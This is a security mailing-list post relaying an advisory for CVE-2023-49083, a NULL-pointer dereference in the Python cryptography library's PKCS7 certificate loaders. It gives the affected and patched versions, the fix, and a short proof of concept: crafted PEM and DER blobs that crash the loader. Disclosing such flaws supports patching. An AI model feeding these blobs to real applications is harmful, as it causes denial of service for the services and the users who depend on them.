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Python Cryptography advisory: CVE-2023-49083 NULL-dereference when loading PKCS7 certificates
From: Alan Coopersmith <alan.coopersmith () oracle com>
Date: Wed, 29 Nov 2023 11:30:39 -0800
https://github.com/pyca/cryptography/security/advisories/GHSA-jfhm-5ghh-2f97 reports: ------------------------------------------------------------------------------- Affected versions >= 3.1, < 41.0.6 Patched versions >=41.0.6 SummaryCalling load_pem_pkcs7_certificates or load_der_pkcs7_certificates could lead to a NULL-pointer dereference and segfault.
PoC Here is a Python code that triggers the issue:from cryptography.hazmat.primitives.serialization.pkcs7 import load_der_pkcs7_certificates, load_pem_pkcs7_certificates
pem_p7 = b""" -----BEGIN PKCS7----- MAsGCSqGSIb3DQEHAg== -----END PKCS7----- """ der_p7 = b"\x30\x0B\x06\x09\x2A\x86\x48\x86\xF7\x0D\x01\x07\x02" load_pem_pkcs7_certificates(pem_p7) load_der_pkcs7_certificates(der_p7) ImpactExploitation of this vulnerability poses a serious risk of Denial of Service (DoS) for any application attempting to deserialize a PKCS7 blob/certificate. The consequences extend to potential disruptions in system availability and stability.
------------------------------------------------------------------------------- The fix was in https://github.com/pyca/cryptography/pull/9926 -- -Alan Coopersmith- alan.coopersmith () oracle com Oracle Solaris Engineering - https://blogs.oracle.com/solaris
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- Python Cryptography advisory: CVE-2023-49083 NULL-dereference when loading PKCS7 certificates Alan Coopersmith (Nov 29)